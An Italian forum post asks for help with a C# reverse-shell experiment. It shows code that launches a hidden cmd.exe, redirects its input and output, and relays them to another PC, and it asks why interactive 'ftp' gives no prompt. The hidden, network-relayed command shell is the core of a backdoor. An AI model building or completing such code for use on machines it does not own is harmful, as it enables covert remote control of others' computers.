Salve a tutti.. sto facendo qualche esperimento sulla reverse connection shell.. dopo aver letto un'articolo molto interessante, mi sono cimentato su questo test personale!!
il mio problema è il seguente!!! Io avvio il processo CMD.exe, assegnandole le seguenti proprietà
Cmd = new Process();
Cmd.StartInfo.FileName = "cmd.exe";
Cmd.StartInfo.CreateNoWindow = true;
Cmd.StartInfo.UseShellExecute = false;
Cmd.StartInfo.RedirectStandardOutput = true;
Cmd.StartInfo.RedirectStandardInput = true;
Cmd.StartInfo.RedirectStandardError = true;
Cmd.OutputDataReceived += new DataReceivedEventHandler(Cmd_OutputDataReceived);
Cmd.Start();
Cmd.BeginOutputReadLine();
Quindi reinvio il flusso all'altro mio pc, e l'evento che richiamo è:
void Cmd_OutputDataReceived(object sender, DataReceivedEventArgs e)
{
StringBuilder strOut = new StringBuilder();
if (!String.IsNullOrEmpty(e.Data))
{
try
{
strOut.Append(e.Data);
sWriter.WriteLine(strOut);
sWriter.Flush();
}
catch (Exception ex)
{
}
}
}
Invio i comandi al processo cmd.exe dell'altro mio pc attraverso:
Cmd.StandardInput.WriteLine(strCmd);
ora.. una volta che provo a digitare "ftp", non mi appare più niente.. (la classica "ftp>" non c'è) e devo dire che non riesco a dare in pasto nessun comando.. come mai?? Come posso risolvere??
GRAZIE